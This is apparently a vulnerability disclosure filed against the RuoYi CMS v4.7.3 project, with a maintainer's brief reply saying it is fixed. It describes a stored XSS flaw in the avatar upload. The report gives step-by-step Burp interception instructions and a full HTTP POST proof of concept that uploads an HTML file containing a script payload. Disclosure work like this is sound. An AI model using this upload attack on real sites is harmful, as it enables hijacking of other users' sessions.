Vulnerability: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms

[solarpeng502]

Vulnerability disclosure

Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms

Product: https://github.com/yangzongzhuan/RuoYi

Affected Versions: v4.7.3(the lastest vesion)

Discovery time: 2022.5.16

Found by: solarpeng502

Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack

Analysis report:

1. If you are not Chinese,please change the language into the English through Browser translation plugin such as Google.

2. After deployment, enter the background management page
   

3. Click the avatar into the personal center
   

4. Click the "modify avatar",and upload a normal image,the click OK button
   
   

5. Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success
   
   
   

6. Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload
   
   

7. Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered
   

POC:

POST /system/user/profile/updateAvatar HTTP/1.1
Host: mysite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------21781164112778176297556867959
Content-Length: 249
Origin: http://mysite.com/
Connection: close
Referer: http://mysite.com/system/user/profile/avatar
Cookie: Your cookies

-----------------------------21781164112778176297556867959
Content-Disposition: form-data; name="avatarfile"; filename="blob.html"
Content-Type: image/png

<script>alert(1)</script>

-----------------------------21781164112778176297556867959--

Fixes: The backend should verify the file suffix, and do not allow html file upload;or check the content in Html file that filter xss payloads.

[yangzongzhuan]

已经修复过了。